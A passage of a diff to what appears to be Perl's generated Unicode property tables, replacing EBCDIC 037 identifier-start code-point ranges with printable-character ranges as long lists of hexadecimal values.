- 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, + 0x118C0, 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, + 0x1D41A, + 0x1D434, + 0x1D44E, 0x1D455, 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, + 0x1D468, + 0x1D482, + 0x1D49C, + 0x1D4B6, 0x1D4BA, 0x1D4BB, 0x1D4BC, 0x1D4BD, 0x1D4C4, 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, + 0x1D4D0, + 0x1D4EA, + 0x1D504, 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, + 0x1D538, 0x1D552, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, 0x1D6A6, - 0x1D6A8, - 0x1D6C1, 0x1D6C2, 0x1D6DB, 0x1D6DC, - 0x1D6FB, + 0x1D6E2, 0x1D6FC, 0x1D715, 0x1D716, - 0x1D735, + 0x1D71C, 0x1D736, 0x1D74F, 0x1D750, - 0x1D76F, + 0x1D756, 0x1D770, 0x1D789, 0x1D78A, - 0x1D7A9, + 0x1D790, 0x1D7AA, 0x1D7C3, 0x1D7C4, + 0x1D7CA, + 0x1D7CB, 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E + 0x1E922, + 0x1E944 }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ - 1207, /* Number of elements */ +static const UV XPosixPrint_invlist[] = { /* for EBCDIC 037 */ + 1281, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, + 0x40, 0xFF, 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, 0x378, - 0x37B, - 0x37E, - 0x37F, + 0x37A, 0x380, - 0x386, - 0x387, - 0x388, + 0x384, 0x38B, 0x38C, 0x38D, 0x38E, 0x3A2, 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, 0x530, 0x531, 0x557, 0x559, - 0x55A, + 0x560, 0x561, 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, 0x5D0, 0x5EB, 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, 0x74D, - 0x7A6, - 0x7B1, 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, + 0x7C0, 0x7FB, 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, + 0x82E, + 0x830, + 0x83F, 0x840, - 0x859, - 0x860, - 0x86B, + 0x85C, + 0x85E, + 0x85F, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, + 0x8D4, + 0x984, 0x985, 0x98D, 0x98F, @@ -368171,18 +90945,22 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, 0x9CF, + 0x9D7, + 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, + 0x9E4, + 0x9E6, 0x9FC, - 0x9FD, + 0xA01, + 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -368197,12 +90975,24 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xA37, 0xA38, 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA72, - 0xA75, + 0xA66, + 0xA76, + 0xA81, + 0xA84, 0xA85, 0xA8E, 0xA8F, @@ -368215,14 +91005,22 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xAB4, 0xAB5, 0xABA, - 0xABD, - 0xABE, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, 0xAD0, 0xAD1, 0xAE0, - 0xAE2, + 0xAE4, + 0xAE6, + 0xAF2, 0xAF9, 0xAFA, + 0xB01, + 0xB04, 0xB05, 0xB0D, 0xB0F, @@ -368235,15 +91033,21 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xB34, 0xB35, 0xB3A, - 0xB3D, - 0xB3E, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, 0xB5C, 0xB5E, 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, + 0xB64, + 0xB66, + 0xB78, + 0xB82, 0xB84, 0xB85, 0xB8B, @@ -368263,8 +91067,20 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xBAB, 0xBAE, 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, 0xBD0, 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -368274,13 +91090,21 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xC2A, 0xC3A, 0xC3D, - 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, 0xC58, 0xC5B, 0xC60, - 0xC62, - 0xC80, - 0xC81, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, 0xC85, 0xC8D, 0xC8E, @@ -368291,14 +91115,24 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBD, - 0xCBE, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, 0xCDE, 0xCDF, 0xCE0, - 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, 0xCF1, 0xCF3, + 0xD01, + 0xD04, 0xD05, 0xD0D, 0xD0E, @@ -368306,15 +91140,17 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xD12, 0xD3B, 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, + 0xD64, + 0xD66, 0xD80, + 0xD82, + 0xD84, 0xD85, 0xD97, 0xD9A, @@ -368325,12 +91161,22 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xDBE, 0xDC0, 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, + 0xE3B, + 0xE3F, + 0xE5C, 0xE81, 0xE83, 0xE84, @@ -368354,52 +91200,38 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xEAA, 0xEAC, 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, + 0xEBA, + 0xEBB, 0xEBE, 0xEC0, 0xEC5, 0xEC6, 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, 0xEDC, 0xEE0, 0xF00, - 0xF01, - 0xF40, 0xF48, 0xF49, 0xF6D, - 0xF88, - 0xF8D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, 0x10C6, 0x10C7, 0x10C8, 0x10CD, 0x10CE, 0x10D0, - 0x10FB, - 0x10FC, 0x1249, 0x124A, 0x124E, @@ -368431,51 +91263,57 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x1316, 0x1318, 0x135B, + 0x135D, + 0x137D, 0x1380, - 0x1390, + 0x139A, 0x13A0, 0x13F6, 0x13F8, 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, + 0x1400, + 0x169D, 0x16A0, - 0x16EB, - 0x16EE, 0x16F9, 0x1700, 0x170D, 0x170E, - 0x1712, + 0x1715, 0x1720, - 0x1732, + 0x1737, 0x1740, - 0x1752, + 0x1754, 0x1760, 0x176D, 0x176E, 0x1771, + 0x1772, + 0x1774, 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, 0x1820, 0x1878, 0x1880, - 0x18A9, - 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, - 0x1950, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, 0x196E, 0x1970, 0x1975, @@ -368483,39 +91321,43 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x19AC, 0x19B0, 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, + 0x1CC0, + 0x1CC8, + 0x1CD0, 0x1CF7, + 0x1CF8, + 0x1CFA, 0x1D00, - 0x1DC0, - 0x1E00, + 0x1DF6, + 0x1DFB, 0x1F16, 0x1F18, 0x1F1E, @@ -368536,66 +91378,58 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x1F80, 0x1FB5, 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, 0x1FC5, 0x1FC6, - 0x1FCD, - 0x1FD0, 0x1FD4, 0x1FD6, 0x1FDC, - 0x1FE0, - 0x1FED, + 0x1FDD, + 0x1FF0, 0x1FF2, 0x1FF5, 0x1FF6, - 0x1FFD, - 0x2071, + 0x1FFF, + 0x2000, + 0x2028, + 0x202A, + 0x2065, + 0x2066, 0x2072, - 0x207F, - 0x2080, + 0x2074, + 0x208F, 0x2090, 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, 0x2C00, 0x2C2F, 0x2C30, 0x2C5F, 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, 0x2CF4, - 0x2D00, + 0x2CF9, 0x2D26, 0x2D27, 0x2D28, @@ -368604,8 +91438,8 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x2D30, 0x2D68, 0x2D6F, - 0x2D70, - 0x2D80, + 0x2D71, + 0x2D7F, 0x2D97, 0x2DA0, 0x2DA7, @@ -368623,120 +91457,82 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x2DD7, 0x2DD8, 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3040, 0x3041, 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, + 0x3099, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, - 0x31A0, + 0x3190, 0x31BB, + 0x31C0, + 0x31E4, 0x31F0, - 0x3200, - 0x3400, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, 0x4DB6, - 0x4E00, - 0x9FEB, + 0x4DC0, + 0x9FD6, 0xA000, 0xA48D, + 0xA490, + 0xA4C7, 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, 0xA62C, 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, + 0xA6F8, + 0xA700, 0xA7AF, 0xA7B0, 0xA7B8, 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, + 0xA82C, + 0xA830, + 0xA83A, 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, + 0xA900, + 0xA954, + 0xA95F, 0xA97D, - 0xA984, - 0xA9B3, + 0xA980, + 0xA9CE, 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, + 0xA9DA, + 0xA9DE, 0xA9FF, 0xAA00, - 0xAA29, + 0xAA37, 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, 0xAAC3, 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, + 0xAAF7, 0xAB01, 0xAB07, 0xAB09, @@ -368748,18 +91544,18 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xAB28, 0xAB2F, 0xAB30, - 0xAB5B, - 0xAB5C, 0xAB66, 0xAB70, - 0xABE3, + 0xABEE, + 0xABF0, + 0xABFA, 0xAC00, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, - 0xF900, + 0xE000, 0xFA6E, 0xFA70, 0xFADA, @@ -368768,10 +91564,6 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xFB13, 0xFB18, 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, 0xFB37, 0xFB38, 0xFB3D, @@ -368782,38 +91574,30 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xFB43, 0xFB45, 0xFB46, - 0xFBB2, + 0xFBC2, 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, + 0xFD40, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, + 0xFEFF, + 0xFF00, + 0xFF01, 0xFFBF, 0xFFC2, 0xFFC8, @@ -368823,6 +91607,12 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0xFFD8, 0xFFDA, 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, 0x10000, 0x1000C, 0x1000D, @@ -368837,28 +91627,40 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x1005E, 0x10080, 0x100FB, - 0x10140, - 0x10175, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, + 0x102E0, + 0x102FC, 0x10300, - 0x10320, - 0x1032D, + 0x10324, + 0x10330, 0x1034B, 0x10350, - 0x10376, + 0x1037B, 0x10380, 0x1039E, - 0x103A0, + 0x1039F, 0x103C4, 0x103C8, - 0x103D0, - 0x103D1, 0x103D6, 0x10400, 0x1049E, + 0x104A0, + 0x104AA, 0x104B0, 0x104D4, 0x104D8, @@ -368867,6 +91669,8 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x10528, 0x10530, 0x10564, + 0x1056F, + 0x10570, 0x10600, 0x10737, 0x10740, @@ -368885,76 +91689,94 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x1083D, 0x1083F, 0x10856, - 0x10860, - 0x10877, - 0x10880, + 0x10857, 0x1089F, + 0x108A7, + 0x108B0, 0x108E0, 0x108F3, 0x108F4, 0x108F6, - 0x10900, - 0x10916, - 0x10920, + 0x108FB, + 0x1091C, + 0x1091F, 0x1093A, + 0x1093F, + 0x10940, 0x10980, 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, 0x10A14, 0x10A15, 0x10A18, 0x10A19, 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, + 0x10AA0, 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, + 0x10AE7, + 0x10AEB, + 0x10AF7, 0x10B00, 0x10B36, - 0x10B40, + 0x10B39, 0x10B56, - 0x10B60, + 0x10B58, 0x10B73, - 0x10B80, + 0x10B78, 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, 0x10C00, 0x10C49, 0x10C80, 0x10CB3, 0x10CC0, 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, 0x110D0, 0x110E9, - 0x11103, - 0x11127, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, 0x11150, - 0x11173, - 0x11176, 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, 0x11200, 0x11212, 0x11213, - 0x1122C, + 0x1123F, 0x11280, 0x11287, 0x11288, @@ -368964,726 +91786,161 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 037 */ 0x1128F, 0x1129E, 0x1129F, - 0x112A9, + 0x112AA, 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 